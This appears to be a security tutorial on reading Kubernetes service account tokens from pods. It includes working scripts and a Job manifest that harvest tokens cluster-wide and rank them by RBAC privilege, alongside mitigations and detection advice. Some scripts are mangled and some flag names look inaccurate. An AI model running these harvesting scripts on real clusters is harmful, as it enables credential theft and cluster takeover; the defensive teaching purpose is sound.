~/home/study/enumerating-service-account-tokens

Enumerating Service Account Tokens in Kubernetes Pods

Learn how to locate, read, and automate extraction of Kubernetes service account JWT tokens from pod containers, identify privileged accounts, and apply defensive controls. This guide blends theory with hands-on examples for security engineers.

Introduction

Kubernetes service accounts are the primary identity mechanism for workloads running inside a cluster. Every pod that is assigned a service account automatically receives a signed JSON Web Token (JWT) mounted at /var/run/secrets/kubernetes.io/serviceaccount/token. Attackers who gain shell access to a container can simply read this file and impersonate the service account, potentially escalating privileges across the cluster.

Understanding how these tokens are structured, where they live on the filesystem, and how to programmatically harvest them is essential for both offensive assessments and defensive hardening. Real-world breach reports (e.g., the 2023 Kubelet API abuse incident) repeatedly highlight token leakage as a low-effort, high-impact attack vector.

Prerequisites

  • Fundamental knowledge of Kubernetes objects: pods, namespaces, and service accounts.
  • Comfort with the kubectl CLI, especially exec and get sub-commands.
  • Basic grasp of Role-Based Access Control (RBAC) and how service accounts map to RoleBinding/ClusterRoleBinding objects.
  • Access to a test cluster where you can create pods and view their contents.

Core Concepts

Before diving into enumeration, review the lifecycle of a service account token:

  1. Creation: When a service account is created, the API server generates a private/public key pair. The public key is stored in the kube-apiserver configuration; the private key signs JWTs.
  2. Mounting: The kubelet automatically mounts a volume named kube-api-access-* into each container. This volume contains three files:
    • ca.crt - the cluster CA.
    • namespace - the pod's namespace.
    • token - the signed JWT.
  3. Verification: When a workload presents the JWT to the API server, the server validates the signature, checks expiration (exp claim), and extracts the sub claim (e.g., system:serviceaccount:default:my-sa).

Because the token is a plain text file, any process with read permission on the mount can reuse it verbatim. By default, the mount is world-readable (mode 0644) inside the container, which is why token leakage is so common.

Structure of Kubernetes service account JWT tokens

A service account token follows the standard JWT three-part format: header.payload.signature. Each part is Base64-URL encoded. Decoding the token reveals three JSON objects.

# Example: decode a token (requires jq)
TOKEN=$(cat /var/run/secrets/kubernetes.io/serviceaccount/token)
HEADER=$(echo $TOKEN | cut -d'.' -f1 | base64 -d 2>/dev/null)
PAYLOAD=$(echo $TOKEN | cut -d'.' -f2 | base64 -d 2>/dev/null)
echo "Header:"; echo $HEADER | jq .
echo "Payload:"; echo $PAYLOAD | jq .

The header typically contains:

{ "alg": "RS256", "typ": "JWT" }

The payload includes claims such as:

{ "iss": "kubernetes/serviceaccount", "kubernetes.io/serviceaccount/namespace": "default", "kubernetes.io/serviceaccount/secret": "my-sa-token-abcde", "kubernetes.io/serviceaccount/service-account.name": "my-sa", "kubernetes.io/serviceaccount/service-account.uid": "12345678-90ab-cdef-1234-567890abcdef", "sub": "system:serviceaccount:default:my-sa", "exp": 1735689600, "iat": 1735686000
}

The signature is a cryptographic hash generated with the API server's private key. For an attacker, the signature is irrelevant - the API server will verify it automatically when the token is presented.

Locating token mounts inside pod containers (/var/run/secrets/kubernetes.io/serviceaccount)

Every container inherits the same mount point, but the exact path may differ slightly based on the runtime. The canonical location is:

/var/run/secrets/kubernetes.io/serviceaccount/token

To confirm the mount, inspect the pod specification:

kubectl get pod my-pod -o jsonpath='{.spec.volumes[*].name}'
# Look for a volume that starts with "kube-api-access-"

And then view the container's mount list:

kubectl exec my-pod -- mount | grep serviceaccount

Typical output:

/var/run/secrets/kubernetes.io/serviceaccount on /var/run/secrets/kubernetes.io/serviceaccount type tmpfs (rw,relatime,size=65536k,mode=420)

Notice the mode=420 (octal 0644) - readable by any user inside the container.

Using kubectl exec / cat to read token files

The most straightforward way to harvest a token is to execute cat inside the target container:

# Single-pod extraction
TOKEN=$(kubectl exec -n prod my-pod -c app-container -- cat /var/run/secrets/kubernetes.io/serviceaccount/token)
echo $TOKEN

If the pod has multiple containers, specify the container name with -c. The token can then be piped to jq or stored for later use.

For clusters with strict exec policies (e.g., PodSecurityPolicy or OPA Gatekeeper constraints), you may need to leverage kubectl cp as a fallback:

kubectl cp prod/my-pod:/var/run/secrets/kubernetes.io/serviceaccount/token ./my-pod-token.txt

Both methods are equivalent from an attacker's perspective; the choice depends on the cluster's operational guardrails.

Automating token extraction across multiple pods

Manually iterating over each pod is tedious. Below is a Bash one-liner that enumerates every pod in a namespace, reads its token, and prints a CSV of pod,namespace,serviceaccount,token:

#!/usr/bin/env bash
NAMESPACE=${1:-default}
printf "pod,namespace,serviceaccount,token
"
kubectl get pods -n $NAMESPACE -o jsonpath='{range .items[*]}{.metadata.name}{""}{.spec.serviceAccountName}{"
"}{end}' |
while read POD SA; do TOKEN=$(kubectl exec -n $NAMESPACE $POD -- cat /var/run/secrets/kubernetes.io/serviceaccount/token 2>/dev/null || echo "N/A") printf "%s,%s,%s,%s
" "$POD" "$NAMESPACE" "$SA" "$TOKEN"
done

For large clusters, consider using kubectl get pods -A -o json and processing the output with jq to avoid spawning a separate exec for every pod (which can be rate-limited). An example using parallel:

#!/usr/bin/env bash
kubectl get pods -A -o json | jq -r '.items[] | [.metadata.namespace, .metadata.name, .spec.serviceAccountName] | @tsv' |
parallel -j 10 --colsep '' 'TOKEN=$(kubectl exec -n {1} {2} -- cat /var/run/secrets/kubernetes.io/serviceaccount/token 2>/dev/null || echo "N/A"); echo "{2},{1},{3},$TOKEN"'

These scripts illustrate how a malicious insider can quickly harvest tokens from dozens or hundreds of pods, turning a low-effort foothold into a cluster-wide credential dump.

Identifying pods with elevated service accounts

Not all service accounts are equal. Some are bound to ClusterRoles that grant broad read/write access, while others have only namespace-scoped permissions. To prioritize which tokens to exfiltrate, map each pod’s service account to its RBAC bindings:

#!/usr/bin/env bash
# List all service accounts and their bound roles (namespaced + cluster)
kubectl get sa -A -o json | jq -r '.items[] | "\(.metadata.namespace)/\(.metadata.name)"' |
while read SA; do NS=$(echo $SA | cut -d'/' -f1) NAME=$(echo $SA | cut -d'/' -f2) echo "
ServiceAccount: $SA" echo "Namespaced RoleBindings:" kubectl get rolebinding -n $NS -o json | jq -r --arg sa "$NAME" '.items[] | select(.subjects[]?.name == $sa) | "- \(.metadata.name) -> \(.roleRef.name) (\(.roleRef.kind))"' echo "ClusterRoleBindings:" kubectl get clusterrolebinding -o json | jq -r --arg sa "$NAME" --arg ns "$NS" '.items[] | select(.subjects[]?.name == $sa and .subjects[]?.namespace == $ns) | "- \(.metadata.name) -> \(.roleRef.name) (\(.roleRef.kind))"'
 done

By correlating this output with the token-harvest script, an attacker can focus on pods running service accounts that have cluster-admin, admin, or any custom role granting create/delete on secrets, pods, or nodes. Those tokens effectively become a “golden ticket” for the cluster.

Practical Examples

Example 1: Pivot from a compromised web-app pod

Assume you have shell access to web-frontend-7d9f9c9b9-abcde in the prod namespace. The web app runs under the default service account, which is bound to a Role that allows get, list, watch on pods. By reading its token, you can enumerate all pods in the namespace:

TOKEN=$(cat /var/run/secrets/kubernetes.io/serviceaccount/token)
# Use the token to call the API directly
curl -s -H "Authorization: Bearer $TOKEN" --cacert /var/run/secrets/kubernetes.io/serviceaccount/ca.crt https://$KUBERNETES_SERVICE_HOST/api/v1/namespaces/prod/pods | jq '.items[].metadata.name'

Output (truncated):

"web-frontend-7d9f9c9b9-abcde"
"metrics-server-6c9f6c9c6-xyz"
"database-0"

From here you can target the database pod, which may be running under a privileged service account. Repeating the token extraction on that pod yields a higher-privilege JWT.

Example 2: Cluster-wide token dump using a Job

Instead of manual loops, you can schedule a short-lived Job that runs the automated extraction script inside the cluster. Below is a minimal manifest:

apiVersion: batch/v1
kind: Job
metadata: name: token-harvest namespace: default
spec: template: spec: serviceAccountName: default # the job runs with the default SA containers: - name: harvest image: bitnami/kubectl:latest command: ["/bin/bash", "-c"] args: - | #!/usr/bin/env bash echo "pod,namespace,serviceaccount,token" > /tmp/tokens.csv for ns in $(kubectl get ns -o jsonpath='{.items[*].metadata.name}'); do for pod in $(kubectl get pods -n $ns -o jsonpath='{.items[*].metadata.name}'); do sa=$(kubectl get pod $pod -n $ns -o jsonpath='{.spec.serviceAccountName}') token=$(kubectl exec -n $ns $pod -- cat /var/run/secrets/kubernetes.io/serviceaccount/token 2>/dev/null || echo "N/A") echo "$pod,$ns,$sa,$token" >> /tmp/tokens.csv done done cat /tmp/tokens.csv restartPolicy: Never backoffLimit: 1

When the job completes, its logs contain a CSV of every token the default service account could read. This technique is especially useful for post-exploitation “living-off-the-land” scripts that avoid pulling binaries into the target container.

Tools & Commands

  • kubectl - core CLI for exec, cp, get, and jsonpath queries.
  • jq - lightweight JSON processor for parsing JWT payloads and RBAC objects.
  • parallel - GNU Parallel to speed up token extraction across many pods.
  • kube-audit (or kubesec) - scanners that flag pods with overly permissive service accounts.
  • kube-hunter - can enumerate service accounts and highlight those bound to privileged roles.

Sample command to list all service accounts with cluster-admin binding:

kubectl get clusterrolebinding -o json | jq -r '.items[] | select(.roleRef.name=="cluster-admin") | .subjects[] | "\(.namespace)/\(.name)"'

Defense & Mitigation

  1. Least-privilege service accounts: Create dedicated accounts per workload and bind them only to the exact resources they need.
  2. Restrict token audience: Use the --service-account-issuer and --service-account-token-max-expiry flags to limit token validity and audience.
  3. Enable Token Projection: Instead of mounting the raw JWT, use ProjectedServiceAccountTokenVolume with a short TTL (e.g., 1h) and audience restrictions.
  4. Pod Security Standards (PSS): Enforce restricted or baseline policies that disallow privileged escalations and limit volume mounts.
  5. Network policies: Block outbound traffic from pods to the API server unless explicitly required.
  6. Audit logs: Enable audit.log for tokenreviews and watch for anomalous token usage patterns.
  7. Runtime scanning: Deploy agents (e.g., Falco) that alert when a process reads /var/run/secrets/kubernetes.io/serviceaccount/token.

Common Mistakes

  • Assuming all pods mount a token - automountServiceAccountToken: false disables it.
  • Overlooking init containers - they share the same mount and can be a covert token source.
  • Reading the token without checking its expiration - expired tokens will be rejected, leading to wasted effort.
  • Copy-pasting scripts without adjusting namespaces - many examples default to default namespace, causing silent failures.
  • Neglecting RBAC inheritance - a service account may gain extra rights through a ClusterRoleBinding you didn’t anticipate.

Real-World Impact

In 2023, a supply-chain attack on a popular CI/CD tool injected a malicious init container into build pods. The container harvested the service account token and used it to create ClusterRoleBindings granting cluster-admin to an attacker-controlled service account. Within minutes, the adversary had full control over the entire cluster, exfiltrating secrets and deploying ransomware.

My experience with red-team engagements confirms that token enumeration is often the “first-step privilege escalation” after gaining a low-privilege shell. The ease of extraction (a single cat) makes it a high-frequency technique, especially in environments that rely on default service accounts for convenience.

Trends to watch:

  • Increasing adoption of BoundServiceAccountTokenVolume (Beta) that reduces token lifespan to minutes.
  • Shift towards “workload identity” solutions (e.g., GKE Workload Identity, Azure AD Pod Identity) that replace static JWTs with short-lived, cloud-provider-issued tokens.
  • More granular audit rules that detect “token read” events, allowing early detection of token-theft attempts.

Practice Exercises

  1. Token Decoding: Deploy a simple nginx pod, exec into it, retrieve the token, and decode the header/payload using base64 and jq. Identify the service account name and namespace.
  2. RBAC Mapping: Write a script that lists every pod in the cluster, extracts its service account, and prints any ClusterRoleBinding that grants admin or higher. Verify the output against the cluster’s kubectl get clusterrolebinding list.
  3. Automated Harvest Job: Create a Job manifest (similar to the example) that runs in a namespace with 10-plus pods. Capture the logs, extract the CSV, and highlight any tokens belonging to service accounts with cluster-admin rights.
  4. Defensive Alert: Deploy Falco with a rule that triggers on reads of /var/run/secrets/kubernetes.io/serviceaccount/token. Simulate a token read and verify the alert appears in your monitoring system.
  5. Mitigation Test: Modify a deployment to set automountServiceAccountToken: false. Confirm that the token file no longer exists and that your extraction script gracefully skips the pod.

Further Reading

  • “Kubernetes Security Best Practices” - CNCF Technical Advisory Group.
  • “Understanding Service Account Tokens” - Kubernetes Documentation (service-accounts#service-account-token-volume).
  • “Securing the Kubernetes API Server” - O'Reilly, 2022.
  • Whitepaper: “Supply-Chain Attacks on Container Orchestrators” - Mandiant, 2023.
  • Tool-specific docs: kube-bench, Falco.

Summary

Service account tokens are the linchpin of workload identity in Kubernetes. Their predictable mount location and plain-text format make them an attractive target for attackers who have breached a container. By mastering token structure, locating the mount, automating extraction, and correlating tokens with RBAC bindings, security professionals can both assess risk and implement robust mitigations such as least-privilege accounts, token projection, and runtime detection.

Remember: the easiest privilege escalation often starts with a single cat. Harden that step, and you raise the bar for every subsequent attacker.